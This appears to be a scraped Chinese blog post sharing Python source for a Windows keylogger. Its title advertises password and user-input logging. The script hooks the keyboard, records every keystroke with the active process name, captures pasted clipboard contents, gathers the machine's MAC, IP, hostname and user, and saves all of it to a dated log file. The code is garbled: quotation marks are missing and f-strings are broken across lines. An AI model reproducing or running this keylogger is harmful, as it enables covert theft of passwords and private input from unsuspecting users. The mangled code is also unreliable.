python 按键记录器 密码记录 用户输入记录

# -*- coding: utf-8 -*-


from ctypes import byref, create_string_buffer, c_ulong, windll
import pythoncom
import pyWinhook as pyHook
import time
import win32clipboard
import datetime
import os, uuid, socket, sys


"""
键盘记录器:
1. 实时记录当前窗口名+用户按键信息
2. 记录用户粘贴信息
3. 支持-w 参数,打印并保存到文件
4. 测试环境 python3.7
"""


class KeyLogger:
    def __init__(self):
        self.current_window = None

    def get_current_process(self):
        hwnd = windll.user32.GetForegroundWindow()
        pid = c_ulong(0)
        windll.user32.GetWindowThreadProcessId(hwnd, byref(pid))
        self.process_id = f{
            
     pid.value}

        self.executable = create_string_buffer(512)
        h_process = windll.kernel32.OpenProcess(0x400 | 0x10, False, pid)
        windll.psapi.GetModuleBaseNameA(
            h_process, None, byref(self.executable), 512)

        window_title = create_string_buffer(512)
        windll.user32.GetWindowTextA(hwnd, byref(window_title), 512)
        try:
            self.current_window = window_title.value.decode()

        except UnicodeDecodeError as e:
            pass

        windll.kernel32.CloseHandle(hwnd)
        windll.kernel32.CloseHandle(h_process)

    def mykeystroke(self, event):
        date = time.strftime("%Y%m%d", time.localtime())
        with open(fkeylogger_{
            
     date}.db, a, encoding=UTF-8) as f:
            if event.WindowName != self.current_window:
                self.get_current_process()
            if 32 < event.Ascii < 127:
                if flag == -w:
                    f.write(
                        str(datetime.datetime.now()) + - + f{
            
     USER}- + f[KEY1]-{
            
     self.process_id}-{
            
     self.executable.value.decode()}: + chr(
                            event.Ascii) + 
)
                    print(
                        str(datetime.datetime.now()) + - + f{
            
     USER}- + f[KEY1]-{
            
     self.process_id}-{
            
     self.executable.value.decode()}: + chr(
                            event.Ascii))
                else:
                    print(
                        str(datetime.datetime.now()) + - + f{
            
     USER}- + f[KEY1]-{
            
     self.process_id}-{
            
     self.executable.value.decode()}: + chr(
                            event.Ascii))
            else:
                if event.Key == V:
                    win32clipboard.OpenClipboard()
                    value = win32clipboard.GetClipboardData()
                    win32clipboard.CloseClipboard()
                    if flag == -w:
                        f.write(
                            str(datetime.datetime.now()) + - + f{
            
     USER}- + f[PASTE]-{
            
     self.process_id}-{
            
     self.executable.value.decode()}:{
            
     value} + 
)
                        print(
                            str(datetime.datetime.now()) + - + f{
            
     USER}- + f[PASTE]-{
            
     self.process_id}-{
            
     self.executable.value.decode()}:{
            
     value})
                    else:
                        print(
                            str(datetime.datetime.now()) + - + f{
            
     USER}- + f[PASTE]-{
            
     self.process_id}-{
            
     self.executable.value.decode()}:{
            
     value})
                else:
                    if flag == -w:
                        f.write(
                            str(datetime.datetime.now()) + - + f{
            
     USER}- + f[KEY2]-{
            
     self.process_id}-{
            
     self.executable.value.decode()}:{
            
     event.Key} + 
)
                        print(
                            str(datetime.datetime.now()) + - + f{
            
     USER}- + f[KEY2]-{
            
     self.process_id}-{
            
     self.executable.value.decode()}:{
            
     event.Key})
                    else:
                        print(
                            str(datetime.datetime.now()) + - + f{
            
     USER}- + f[KEY2]-{
            
     self.process_id}-{
            
     self.executable.value.decode()}:{
            
     event.Key})
            return True


def run(flag):
    date = time.strftime("%Y%m%d", time.localtime())
    with open(fkeylogger_{
            
     date}.db, a, encoding=UTF-8) as f:
        if flag == -w:
            f.write(f{
            
     DOMAIN}-{
            
     IP}-{
            
     MAC}-{
            
     HOSTNAME}-{
            
     USER} + 
)
            f.close()
        else:
            print(f{
            
     DOMAIN}-{
            
     IP}-{
            
     MAC}-{
            
     HOSTNAME}-{
            
     USER})

    kl = KeyLogger()
    hm = pyHook.HookManager()
    hm.KeyDown = kl.mykeystroke
    hm.HookKeyboard()
    while True:
        pythoncom.PumpWaitingMessages()


if __name__ == __main__:
    # 收集当前系统信息
    address = hex(uuid.getnode())[2:]
    MAC = :.join(address[i:i + 2] for i in range(0, len(address), 2))
    HOSTNAME = socket.gethostname()
    IP = socket.gethostbyname(HOSTNAME)
    USER = os.getlogin()
    DOMAIN = os.environ[userdomain]

    # 接受外部参数:
    # -w: save to file
    # -d: default
    if len(sys.argv) == 1:
        flag = -d
    elif len(sys.argv) == 2 and sys.argv[1].lower() == -w:
        flag = -w
    else:
        print("Input Error")
        sys.exit()
    print(run(flag))
经验分享 程序员 微信小程序 职场和发展